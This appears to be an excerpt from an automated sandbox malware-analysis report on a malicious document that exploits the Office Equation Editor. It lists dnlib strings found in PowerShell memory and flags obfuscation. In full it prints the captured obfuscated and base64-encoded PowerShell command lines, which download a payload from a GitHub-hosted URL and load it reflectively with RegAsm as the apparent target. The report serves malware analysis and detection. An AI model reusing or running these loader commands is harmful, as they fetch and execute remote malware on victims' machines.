Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .Automation.pdb source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: ~WRF{D2609696-E762-447B-A02C-A86155954B70}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Obfuscated command line found
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002AF738 push es; iretd 2_2_002AF764
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C651D push edx; ret 2_2_002C651F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C6513 push edx; ret 2_2_002C6517
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B8F60 push eax; retf 2_2_002B8F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C9067 push ecx; ret 2_2_002C906B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C9060 push ecx; ret 2_2_002C9063
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002BC264 pushad ; retn 002Bh 2_2_002BC289
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002CA343 push ebx; iretd 2_2_002CA354
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C6287 push edx; ret 2_2_002C628B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002C6291 push edx; ret 2_2_002C6293
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002BC3EE push A0002BC4h; ret 2_2_002BC3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B01F4 push eax; retf 2_2_002B01F5
